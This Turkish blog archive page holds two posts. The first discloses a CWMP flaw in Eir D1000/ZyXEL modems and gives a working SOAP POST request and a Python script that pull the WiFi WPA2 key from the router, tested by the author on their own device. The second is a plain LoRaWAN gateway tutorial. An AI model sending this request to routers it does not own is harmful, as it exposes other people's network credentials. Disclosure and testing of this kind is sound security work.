Archive for January, 2017


Eir’s D1000 Modem Güvenlik Zafiyeti

Uzun zamandır evde kullandığım cihazları için güvenlik taraması yapmamıştım. Çok fazla cihaz olmamakla birlikte aktif olarak kullandığım ZyXEL ADSL model ve TP-Link TL-WA850RE Kablosuz alan genişletici üzerinde iki adet kritik seviyede zafiyet tesbit edebildim. Önemli olan ZyXEL ADSL modem üzerinde CWMP protokolünden kaynaklanan ve can yakıcı olabilecek bir açık. Eir’s D1000 Modem üzerindeki açık hakkında detaylara bu adresten ulaşabilirsiniz.

Eir D1000 test etmek için biraz araştırma ardından bir kaç post isteğini test ederek WPA2 ile şifrelenmiş WiFi ağımın şifresine açıktan erişilebildim.  İlginç olan CWMP protokolünün 7457 nolu port üzerinden çalışması ve bu portun kapalı olmasına rağmen 80 portu üzerinden de protokolün çalışıyor olması. Geçici çözüm olarak ADSL üzerinde gelen firewall’u aktif hale getirip WAN üzerinden gelen bütün paket ve portlar  kapatmak için yapılandırdım. Varsayılan http 80 portu kapanmış oldu, fakat nmap ile full port taraması yapınca 8088 (8088/tcp open     http       Allegro RomPager 4.51 UPnP/1.0 (ZyXEL ZyWALL 2))  olan bir port açık gözükmekte ve firewall ile bu portu kapatamıyorsunuz. Ne güzel 🙂 şuan modemi yenilemekten başka çare gözükmüyor. Örnek post ve python script aşağıda bulabilirsiniz.

Eir D1000 CWMP açığı örnek http post;

POST /UD/act?1 HTTP/1.1
Host: 192.168.1.1:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys
Content-Type: text/xml
Content-Length: 318

<?xml version=”1.0″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″>
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Örnek cevapta * olan kısımda açıktan WiFi şifrenizi bulabilirsiniz;

<?xml version=”1.0″?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body><u:GetSecurityKeysResponse xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″>
<NewWEPKey0></NewWEPKey0>
<NewWEPKey1></NewWEPKey1>
<NewWEPKey2></NewWEPKey2>
<NewWEPKey3></NewWEPKey3>
<NewPreSharedKey>********</NewPreSharedKey>
<NewKeyPassphrase></NewKeyPassphrase>
</u:GetSecurityKeysResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Örnek python test script;

import requests

headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
           'SOAPAction': 'urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys',
           'Content-Type': 'text/xml'
           }

raw_data = """
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1">
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""

req = requests.request('POST', 'http://192.168.1.1/UD/act?1', headers=headers, data=raw_data)
print(req.text)

LoRaWAN ile IoT Projeleri – Bölüm 1

LoRaWAN ekosisteminin tanıtımı ve LoRaWAN destekli IoT projeleriniz için tüm ekipmanların tanıtımı ve nelere ihtiyacınız olduğu hakkında geçtiğimiz Aralık ayında (İ.Ü. Bilgisayar Mühendisliği ve İ.Ü. T.T.O. desteği ile) bir etkinlik gerçekeleştirdik. Etkinliğe katılamayanlar için, bu blog serisinde, kendi imkanlarınız ile bir LoRaWAN ağı nasıl kurulur ve basit bir uygulama nasıl geliştirilir bunu incelemiş olacağız.

LoRa fiziksel katman teknolojisi olup, kendine has bir modülasyonu sayesinde, uzun mesafelerde ve yüksek gürültülü ortamlarda iletişim sağlayabilmektedir. LoRaWAN ile fiziksek katman üzerinde bir MAC fonksiyonelitesi sağlanabilmektedir. Bir LoRaWAN ağı kurmak için, Data Network, Gateway (GW) ve LoRaWAN destekli node’lara ve açık kaynak kodlu yazılımlara ihtiyaç duyulmaktadır. Node’lar, GW’ler ile iletişim kurarak, GW’lerin bağlı olduğu DataNetwork ile internete çıkış yapabilmektedirler.  Private veya public olarak, bu ağları konunlandırmak mümkün.

Data Network; Node ve GW’lerin kontrolünü ve internet üzerinden erişilinebilirliğin sağlandığı ağlardır. Başlangıç olarak The Things Network (TTN) hizmetlerinden ücretsiz olarak yararlanmak mümkün. Ayrıca, açık kaynak kod olarak dağıtılan yazılımlar ile kendiniz bu ağı kurmanız mümkün. Öncelikle, TTN üzerinde bir hesap oluşturmanız gerekiyor, sonrasında  yeni bir gateway tanımlayabilirsiniz. Eğer kullanacağınız GW, single channel packet forwarder (bizim burda kullandığımız gibi) ise, bridge, diğer GW için connector seçimini yapabilirsiniz. GW EUID, raspberry pi üzerinde ilgili yazılım çalıştırdığımızda bize üreteceği EUID ve kullanacağınız frekansı 868 MHz seçerek ilk GW tanımlamış olacağız.

 

LoRaWAN GW TTN